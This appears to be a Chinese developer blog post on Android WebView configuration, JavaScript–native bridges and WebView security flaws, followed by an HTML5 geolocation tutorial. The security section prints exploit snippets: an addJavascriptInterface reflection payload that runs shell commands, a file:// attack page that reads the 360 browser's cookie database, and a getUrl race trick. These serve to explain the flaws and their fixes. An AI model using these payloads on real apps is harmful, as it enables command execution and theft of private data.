需要申請權限,例如android.permission.INTERNET等。
WebSettings webSettings = webView.getSettings();
webView.setWebChromeClient(new WebChromeClient());
webSettings.setJavaScriptEnabled(true)
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
webView.setWebViewClient(new myWebVliewClient());
關注回調的順序
webView.setDownloadListener(new DownloadListener(){
@Override
public void onDownloadStart(String url, String userAgent, String contentDisposition,
String mimetype, long contentLength) {
//交給其他應用處理 或 自己開啟線程執行
Uri uri = Uri.parse(url);
Intent intent = new Intent(Intent.ACTION_VIEW,uri);
startActivity(intent);
}
});
這里有很多資料,中文網站千篇一律,
我看了一下Stack Overflow,下面我比較認可
WebViewClient主要涉及展示內容的方法,可以通過這些方法介入內容的展示,WebChromeClient提供了可以和Activity交互的一些方法,可以將js調用反饋給Activity,或者請求一些native 的資源。
void doUpdateVisitedHistory (WebView view, String url, boolean isReload)
void onFormResubmission (WebView view, Message dontResend, Message resend)
void onLoadResource (WebView view, String url)
void onPageCommitVisible (WebView view, String url)
void onPageFinished (WebView view, String url)
void onPageStarted (WebView view, String url, Bitmap favicon)
void onReceivedClientCertRequest (WebView view, ClientCertRequest request)
void onReceivedError (WebView view, int errorCode, String description, String failingUrl)
void onReceivedError (WebView view, WebResourceRequest request, WebResourceError error)
void onReceivedHttpAuthRequest (WebView view, HttpAuthHandler handler, String host, String realm)
void onReceivedHttpError (WebView view, WebResourceRequest request, WebResourceResponse errorResponse)
void onReceivedLoginRequest (WebView view, String realm, String account, String args)
void onReceivedSslError (WebView view, SslErrorHandler handler, SslError error)
boolean onRenderProcessGone (WebView view, RenderProcessGoneDetail detail)
void onSafeBrowsingHit (WebView view, WebResourceRequest request, int threatType, SafeBrowsingResponse callback)
void onScaleChanged (WebView view, float oldScale, float newScale)
void onTooManyRedirects (WebView view, Message cancelMsg, Message continueMsg)
void onUnhandledKeyEvent (WebView view, KeyEvent event)
WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request)
WebResourceResponse shouldInterceptRequest (WebView view, String url)
boolean shouldOverrideKeyEvent (WebView view, KeyEvent event)
boolean shouldOverrideUrlLoading (WebView view, WebResourceRequest request)
boolean shouldOverrideUrlLoading (WebView view, String url)
Bitmap getDefaultVideoPoster ()
View getVideoLoadingProgressView ()
void getVisitedHistory (ValueCallback<String[]> callback)
void onCloseWindow (WebView window)
boolean onConsoleMessage (ConsoleMessage consoleMessage)
void onConsoleMessage (String message, int lineNumber, String sourceID)
boolean onCreateWindow (WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg)
void onExceededDatabaseQuota (String url, String databaseIdentifier, long quota, long estimatedDatabaseSize, long totalQuota, WebStorage.QuotaUpdater quotaUpdater)
void onGeolocationPermissionsHidePrompt ()
void onGeolocationPermissionsShowPrompt (String origin, GeolocationPermissions.Callback callback)
void onHideCustomView ()
boolean onJsAlert (WebView view, String url, String message, JsResult result)
boolean onJsBeforeUnload (WebView view, String url, String message, JsResult result)
boolean onJsConfirm (WebView view, String url, String message, JsResult result)
boolean onJsPrompt (WebView view, String url, String message, String defaultValue, JsPromptResult result)
boolean onJsTimeout ()
void onPermissionRequest (PermissionRequest request)
void onPermissionRequestCanceled (PermissionRequest request)
void onProgressChanged (WebView view, int newProgress)
void onReachedMaxAppCacheSize (long requiredStorage, long quota, WebStorage.QuotaUpdater quotaUpdater)
void onReceivedIcon (WebView view, Bitmap icon)
void onReceivedTitle (WebView view, String title)
void onReceivedTouchIconUrl (WebView view, String url, boolean precomposed)
void onRequestFocus (WebView view)
void onShowCustomView (View view, int requestedOrientation, WebChromeClient.CustomViewCallback callback)
void onShowCustomView (View view, WebChromeClient.CustomViewCallback callback)
boolean onShowFileChooser (WebView webView, ValueCallback<Uri[]> filePathCallback, WebChromeClient.FileChooserParams fileChooserParams)
<button onclick="callAndroid()" style="height: 26px ;width:160px; text-align: center; vertical-align: middle ">JS 調用Native</button>
<script>
function callAndroid() {
location.href= "jsbridge://webview?&arg1=hello&arg2=world"
}
</script>
<a href="http://www.xxx.com">鏈接方式</a>
webview.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String s) {
Uri uri = Uri.parse(s);
Log.d("test112", s);
if(uri.getScheme().startsWith("jsbridge")) {
String arg1 = uri.getQueryParameter("arg1");
String arg2 = uri.getQueryParameter("arg2");
String s1 = "JS調用Native,參數1:"+arg1+"參數2:"+arg2;
Toast.makeText(MainActivity.this, s1, Toast.LENGTH_LONG).show();
}
return true;
}
});
public class AndroidToJS extends Object {
@JavascriptInterface
public void hello(String msg) {
Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(new AndroidToJS(), "test");
<script>
function callAndroid() {
test.hello("JS調用Native");
}
</script>
<script type="text/javascript">
function promptTest(param){
prompt(param);
}
</script>
<input type="button" value="prompt方式" onclick="promptTest('prompt方式的參數')" /><br />
webview.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
...
result.cancle();
return true;
}
});
如果不調用result.cancle(),并且返回false,會展示一個dialog
webView.loadUrl("javascript: alert('Native注入的JS')");
或者內置js代碼
InputStreamReader isr = null;
try {
isr = new InputStreamReader(this.getAssets().open("test.js"), "UTF-8");
BufferedReader bf = new BufferedReader(isr);
String content = "";
StringBuilder sb = new StringBuilder();
while (content != null) {
content = bf.readLine();
if (content == null) {
break;
}
sb.append(content.trim());
}
bf.close();
wholeJS = sb.toString();
} catch (IOException e) {
e.printStackTrace();
}
webView.loadUrl("javascript: " + wholeJS);
<script>
function getUID() {
var id = 120;
return id + 1;
}
</script>
webView.evaluateJavascript("getUID()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
Log.d("CALLBACK", value);
}
});
Android API level 17以及之前的系統版本,由于程序沒有正確限制使用addJavascriptInterface方法,遠程攻擊者可通過使用Java Reflection API利用該漏洞執行任意Java對象的方法。 通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScript通過調用這個接口可以直接與本地的Java接口進行交互。就有可能出現手機被安裝木馬程序、發送扣費短信、通信錄和短信被竊取、獲取本地設備的SD卡中的文件等信息,從而造成信息泄露,甚至手機被遠程控制等安全問題。
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//從執行命令后返回的輸入流中得到字符串,
從而得到文件名的信息,有很嚴重暴露隱私的危險。
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getInputStream2String(p.getInputStream()));
addJavascriptInterface接口,需使用以下方法:Android4.2以上,允許被JavaScript調用的方法必須以@JavascriptInterface進行注解聲明,
WebView默認開啟密碼保存功能mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db
Android中默認mWebView.setAllowFileAccess(true),在File域下,能夠執行任意的JavaScript代碼,同源策略跨域訪問能夠對私有目錄文件進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL做限制,會導致隱私信息泄露,針對IM類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。
以360手機瀏覽器4.8版本為例,由于未對file域做安全限制,惡意APP調用360瀏覽器加載本地的攻擊頁面(比如惡意APP釋放到SDCARD上的一個HTML)后,就可以獲取360手機瀏覽器下的所有私有數據,包括webviewCookiesChromium.db下的cookie內容,攻擊頁面關鍵代碼:
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 獲取本地文件代碼
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
copyFile(); //自定義函數,釋放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
原因是getUrl不安全
function attack() {
setTimeout(func1, 5);
func2();
}
function func2() {
location.href="http://www.baidu.com";
}
function func1() {
window.stub.invokeMethod(xxx);
}
js的執行是異步的,通過setTimeout使func1延時5ms執行時,js線程不會等待func1完成而是先執行func2函數,在func2函數進行跳轉,假設func2加載白名單url,這是loadUrl執行完的那一刻getUrl的返回值就改變了,即使新的頁面可能沒加載完成。
地圖類、打車、外賣等類型的手機APP,一進入便咨詢是否允許獲取我們的位置,允許之后會根據我們所在位置推薦好物,逐漸地 H5 網頁也開始獲取用戶位置。Geolocation是 H5 新增的對象,用于定位。常見打開網頁有兩種方式:移動端和PC端。它們是根據什么如何定位的呢?
geolocation對象繼承在navigator對象內,它有兩種方法可以獲取用戶位置getCurrentPosition()和watchPosition(),還有clearWatch取消watchPosition。
getCurrentPosition:獲取一次位置
navigator.geolocation.getCurrentPosition(success=>{
console.log(success.coords)//包含位置的經緯度、速度、海拔、經緯度精度、海拔精度信息
},fail=>{
console.log(fail)//獲取失敗的原因
},{
//可增加的4個配置參數
enableHighAccuracy:true,//高精度
timeout:5000,//超時時間,以ms為單位
maximumAge:24*60*60*1000,//位置緩存時間,以ms為單位
})
位置獲取成功后返回的 success.coords 的屬性
watchPosition:不斷獲取位置
navigator.geolocation.watchPosition(
success=>{
console.log(success.coords)//包含用戶位置速度海拔等信息
},
fail=>{
console.log(fail)//定位失敗原因
},
{
enableHighAccuracy:true,//高精度
timeout:60*1000,//超時,以ms為單位
maximumAge:24*60*60*1000,//位置緩存時間,以ms為單位
frequency:1000,//獲取頻率
}
)
位置獲取成功后返回的 success.coords 的屬性與上述getCurrentPosition的一致。它兩唯一的區別就是一個獲取一次,另外一個獲取多次,多了一個獲取頻率參數。
clearWatch(): 取消當前位置的獲取,停止 watchPosition 方法。
clearWatch 與 js 中的clearInterval類似,clearInterval用于清除定時器。使用時語法如下:
var wPId = navigator.geolocation.watchPosition(
success=>{
console.log(success.coords)//包含用戶位置速度海拔等信息
},
fail=>{
console.log(fail)//定位失敗原因
},
{
enableHighAccuracy:true,//高精度
timeout:60*1000,//超時,以ms為單位
maximumAge:24*60*60*1000,//位置緩存時間,以ms為單位
frequency:1000,//獲取頻率
}
)
navigator.geolocation.clearWatch(wPId)
由于該特性可能侵犯用戶的隱私,使用時自動會詢問用戶是否同意授權位置,除非用戶同意,否則無法獲取到用戶位置。
function getPosition(){
if(navigator.geolocation){
navigator.geolocation.getCurrentPosition(function(res){
console.log("res",res)//位置信息
},function(err){
console.log("err",err)
})
}
}
getPosition()
在電腦上,直接使用瀏覽器打開文件,瀏覽器立馬彈出如下顯示框:
點擊禁止后,調試器中打印出報錯信息,報錯信息為:
{
code: 1
message: "User denied Geolocation" //用戶拒絕地理位置
}
點擊允許之后,發現并未打印出位置信息,什么原因呢?PC是根據電腦的IP地址來解析位置的,此時直接打開文件沒有域名或ip,所以無法獲取位置,必須把文件放到服務內,如果你是不會起服務可以下載nginx,下載安裝成功之后文件放入html文件夾內,啟動nginx就可以訪問了。
啟動本地服務,再次獲取位置之后,發現依舊報錯,無法返回位置,報錯信息為:
{
code: 1,
message: "Only secure origins are allowed (see: https://goo.gl/Y0ZkNV)."//只允許安全來源
}
意思就是只能在https域名下才可以哦!
還需要注意的是chrome的google瀏覽器也不能獲取位置,但是IE瀏覽器可以獲取到。
把上述案例放到線上,獲取位置只要用戶點擊同意就沒有問題啦!
除此之外,帶有位置的我們經常會用到輸入位置,在地圖中自動標記一個點,移動標記點到更具體的位置,如圖:
一般需要繪制地圖的時候,我們就借助三方的百度、高德、騰訊等地圖,注冊賬號,申請密鑰才可以使用。有空了可以去多看看,多了解了解!